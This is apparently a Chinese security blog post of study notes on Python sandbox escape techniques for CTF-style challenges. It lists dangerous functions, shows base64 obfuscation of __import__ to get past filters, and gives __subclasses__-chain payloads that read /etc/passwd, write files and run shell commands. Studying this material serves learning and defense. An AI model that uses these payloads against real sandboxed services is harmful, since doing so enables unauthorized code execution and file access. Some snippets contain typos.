<!DOCTYPE html>
<html>
  <head><meta name="generator" content="Hexo 3.9.0">
<meta name="google-site-verification" content="fQ_tfBgNjE9NQcpKnGAkWapHoKuimF5lVuNuqpPXar0">
    <meta charset="utf-8">
    
    <title>Python沙箱逃逸学习笔记 | Xiao Leung&#39;s Blog</title>
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
    
    
      <link rel="icon" href="/favicon.png">
    

    <link rel="stylesheet" href="/css/style.css">

    <link rel="stylesheet" href="/js/google-code-prettify/tomorrow-night-eighties.min.css">

  </head>

  <body>
<script src="/live2dw/lib/L2Dwidget.min.js?094cbace49a39548bed64abff5988b05"></script><script>L2Dwidget.init({"log":false,"pluginJsPath":"lib/","pluginModelPath":"assets/","pluginRootPath":"live2dw/","tagMode":false});</script></body></html>
<header>

	<a id="logo" href="/" title="Xiao Leung&#39;s Blog">
	<img src="/favicon.png" alt="Xiao Leung&#39;s Blog"></a>
	
	
		<!--搜索栏-->
		<i class="js-toggle-search iconfont icon-search"></i>


<form class="js-search search-form search-form--modal" method="get" action="http://gushi.li" role="search">
	<div class="search-form__inner">
		<div>
			<i class="iconfont icon-search"></i>
			<input class="text-input" placeholder="Enter Key..." type="search">
		</div>
	</div>
</form>
	

	
		<!--侧边导航栏-->
		<a id="nav-toggle" href="#"><span></span></a>

<nav>
	<div class="menu-top-container">
		<ul id="menu-top" class="menu">
			
				
				<li class="current-menu-item">
					<a href="https://www.plasf.cn/2019/08/01/HelloWorld/" target="_blank">AboutMe</a>
				</li>
			
				
				<li class="current-menu-item">
					<a href="https://www.plasf.cn/HXCTF/" target="_blank">HXCTF</a>
				</li>
			
		</ul>
	</div>
</nav>
	

</header>

<div class="m-header ">
	<section id="hero1" class="hero">
		<div class="inner">
		</div>
	</section>
	
		<figure class="top-image" data-enable=true></figure>
	
</div>

<!--文章列表-->
<div class="wrapper">
  
    <!--文章-->
<article>
	
  
    <h1 class="post-title" itemprop="name">
      Python沙箱逃逸学习笔记
    </h1>
  

	<div class='post-body mb'>
		<h3 id="定义"><a href="#定义" class="headerlink" title="定义"></a>定义</h3><p>所谓的 Python 沙盒，即以一定的方法模拟(socat) Python 终端，实现用户对 Python 的使用。</p>
<h3 id="逃逸方法"><a href="#逃逸方法" class="headerlink" title="逃逸方法"></a>逃逸方法</h3><ul>
<li>Python内建函数中有些函数能够执行shell命令，导致任意代码执行。</li>
</ul>
<pre><code class="python">  os.system() 
  os.popen()
  commands.getstatusoutput() 
  commands.getoutput()
  commands.getstatus()
  subprocess.call(command, shell=True) 
  subprocess.Popen(command, shell=True)
  pty.spawn()</code></pre>
<ul>
<li>Python中导入模块的方法</li>
</ul>
<pre><code class="python">import xxx
form xx import *
__import__(&#39;xxx&#39;)</code></pre>
<p>​        我们可以通过上述方法导入相关模块再调用相关函数导致命令执行。除此之外，我们也可以通过路径引入模块，例如linux系统中Python os的路径一般都是/usr/lib/python2.7/os.py,当知道路径的时候就可以通过如下操作导入操作模块。进一步调用相关函数。</p>
<pre><code class="python">&gt;&gt;&gt; import sys
&gt;&gt;&gt; sys.modules[&#39;os&#39;]=&#39;/usr/lib/python2.7/os.py&#39;
&gt;&gt;&gt; import os
&gt;&gt;&gt;</code></pre>
<ul>
<li><p>其他危险函数</p>
<ol>
<li>execfile文件执行</li>
</ol>
</li>
</ul>
<pre><code class="shell">&gt;&gt;&gt; execfile(&#39;/usr/lib/python2.7/os.py&#39;)
&gt;&gt;&gt; system(&#39;cat /etc/passwd&#39;)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
&gt;&gt;&gt; getcwd()
&#39;/usr/lib/python2.7&#39;</code></pre>
<p>​        2.timeit</p>
<pre><code class="python">import timeit
timeit.timit(&quot;__import__(&#39;os&#39;).system(&#39;dir&#39;)&quot;,number=1)</code></pre>
<p>​        3.eval和exec</p>
<pre><code class="python">eval(&#39;__import__(&#39;os&#39;).system(&quot;dir&quot;)&#39;)</code></pre>
<p>​        4.platform</p>
<pre><code class="python">import platform
print platform.popen(&#39;dir&#39;).read()</code></pre>
<ul>
<li>Python内建函数</li>
</ul>
<p>当我们不能导入模块，或者想要导入的模块被禁，那么我们只能寻求 Python 本身内置函数（即通常不用人为导入，Python 本身默认已经导入的函数）。我们可以通过可以通过 <code>dir __builtin__</code> 来获取内置函数列表</p>
<pre><code class="python">&gt;&gt;&gt; dir(__builtins__)
[&#39;ArithmeticError&#39;, &#39;AssertionError&#39;, &#39;AttributeError&#39;, .....</code></pre>
<p>在Python中一个模块是由字典对象实现命名空间的，例如：m.x等同于m.dic[“x”].那么我们可以直接通过<strong>dic</strong>引入我们想要的模块（其作用为列出一个模组/类对象下面的属性和函数）。</p>
<p>绕过实例：</p>
<pre><code class="python">&gt;&gt;&gt;__builtins__.__dict__[&#39;X19pbXBvcnRfXw==&#39;.decode(&#39;base64&#39;)](&#39;b3M=&#39;.decode(&#39;base64&#39;))</code></pre>
<pre><code>&gt;&gt;&gt; import base64
&gt;&gt;&gt; base64.b64encode(&#39;__import__&#39;)
&#39;X19pbXBvcnRfXw==&#39;
&gt;&gt;&gt; base64.b64encode(&#39;os&#39;)
&#39;b3M</code></pre><p><em>如果一些 内敛函数在 *</em>builtins** 删除 ，我们可以通过 reload(<strong>builtins</strong>) 重新载入获取一个完整的 <strong>builtins*</strong></p>
<ul>
<li>创建对象以及引用</li>
</ul>
<p>Python中的object类集成了许多基础函数，我们想要调用的时候也是可以直接创建对象进而引用。</p>
<p>常见方法：</p>
<pre><code class="python">().__class__.bases__[0]
&#39;&#39;.__class__.mro__[2]
读取文件：
print ().__class__.__bases__[0].__subclasses__()[40](&quot;/etc/services&quot;).read()</code></pre>
<p>常见payload:</p>
<pre><code class="python">#读文件
().__class__.__bases__[0].__subclasses__()[40](r&#39;C:\1.php&#39;).read()

#写文件
().__class__.__bases__[0].__subclasses__()[40](&#39;/var/www/html/input&#39;, &#39;w&#39;).write(&#39;123&#39;)

#执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13][&#39;eval&#39;](&#39;__import__(&quot;os&quot;).popen(&quot;ls  /var/www/html&quot;).read()&#39; )</code></pre>

	</div>
	<div class="meta split">
		
			<span>本文总阅读量 <span id="busuanzi_value_page_pv"></span> 次</span>
		
		<time class="post-date" datetime="2019-08-15T04:51:44.000Z" itemprop="datePublished">2019-08-15</time>
	</div>
</article>

<!--评论-->

	
<div class="ds-thread" data-thread-key="Python沙箱逃逸学习笔记" data-title="Python沙箱逃逸学习笔记" data-url="http://www.plasf.cn/2019/08/15/Python沙箱逃逸学习笔记/"></div>
<script type="text/javascript">

var duoshuoQuery = {short_name:"yumemor"};
	(function() {
		var ds = document.createElement('script');
		ds.type = 'text/javascript';ds.async = true;
		ds.src = (document.location.protocol == 'https:' ? 'https:' : 'http:') + '//static.duoshuo.com/embed.js';
		ds.charset = 'UTF-8';
		(document.getElementsByTagName('head')[0]
		 || document.getElementsByTagName('body')[0]).appendChild(ds);
	})();
</script>


  
</div>


  <svg id="bigTriangleColor" width="100%" height="40" viewBox="0 0 100 102" preserveAspectRatio="none">
    <path d="M0 0 L50 100 L100 0 Z"></path>
  </svg>

  


  <div class="wrapper"></div>





<div class="fat-footer">
	<div class="wrapper">
		<div class="layout layout--center">
			<div class="layout__item palm-mb">
				<div class="media">
					<img class="headimg" src='/assets/blogImg/litten.png' alt='XiaoLeung'>
					<div class="media__body">
						<h4>兵至如归-Xiaoleung&#39;s Blog</h4>
						<p class='site-description'>Don&#39;t forget why we started</p>
					</div>
				</div>
				<div class="author-contact">
					<ul>
						
							
							<li>
				        		<a href="https://github.com/sharpleung" target="_blank">
				        			
				        				<i class="iconfont icon-github"></i>
				        			
				        		</a>
				        	</li>
						
					</ul>
				</div>
			</div>
		</div>
	</div>
</div>

<footer class="footer" role="contentinfo">
	<div class="wrapper wrapper--wide split split--responsive">
<a href="http://beian.miit.gov.cn/">粤ICP备18132442号-1</a><br>
<a target="_blank" href="http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=44011202000643" style="display:inline-block;text-decoration:none;height:20px;line-height:20px;"><img src="http://beian.gov.cn/img/ghs.png" style="float:left;"/><p style="float:left;height:20px;line-height:20px;margin: 0px 0px 0px 5px; color:#939393;">粤公网安备 44011202000643号</p></a><br>

		
			<span>本站总访问量 <span id="busuanzi_value_site_pv"></span> 次, 访客数 <span id="busuanzi_value_site_uv"></span> 人次</span>
		
		<span>Theme by <a href="http://github.com/justpsvm">justpsvm</a>. Powered by <a href="http://hexo.io">Hexo</a></span>
	</div>
</footer>

	<!-－这里导入了 lib.js 里面涵盖了 jQuery 等框架 所以注释掉-->
	<!--<script src="http://lib.sinaapp.com/js/jquery/2.0/jquery.min.js"></script>-->
	<script src="/js/lib.js"></script>
	<script src="/js/google-code-prettify/prettify.js"></script>
	<script src="/js/module.js"></script>
	<script src="/js/script.js"></script>
	
		<script async src="http://dn-lbstatics.qbox.me/busuanzi/2.3/busuanzi.pure.mini.js"></script>
	
	<script type='text/javascript'>
		//代码高亮
		$(document).ready(function(){
	 		$('pre').addClass('prettyprint linenums').attr('style', 'overflow:auto;');
   			prettyPrint();
		});
	</script>
	<script src="/live2dw/lib/L2Dwidget.min.js?094cbace49a39548bed64abff5988b05"></script><script>L2Dwidget.init({"log":false,"pluginJsPath":"lib/","pluginModelPath":"assets/","pluginRootPath":"live2dw/","tagMode":false});</script><script src="/live2dw/lib/L2Dwidget.min.js?094cbace49a39548bed64abff5988b05"></script><script>L2Dwidget.init({"log":false,"pluginJsPath":"lib/","pluginModelPath":"assets/","pluginRootPath":"live2dw/","tagMode":false});</script></body>
</html>

<script async src="//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
 <script type="text/javascript"> /* 鼠标点击特效 - 7Core.CN */ var a_idx = 0;jQuery(document).ready(function($) {$("body").click(function(e) {var a = new Array("富强", "民主", "文明", "和谐", "自由", "平等", "公正" ,"法治", "爱国", "敬业", "诚信", "友善");var $i = $("<span/>").text(a[a_idx]); a_idx = (a_idx + 1) % a.length;var x = e.pageX,y = e.pageY;$i.css({"z-index": 100000000,"top": y - 20,"left": x,"position": "absolute","font-weight": "bold","color": "#ff6651"});$("body").append($i);$i.animate({"top": y - 180,"opacity": 0},1500,function() {$i.remove();});});}); </script>

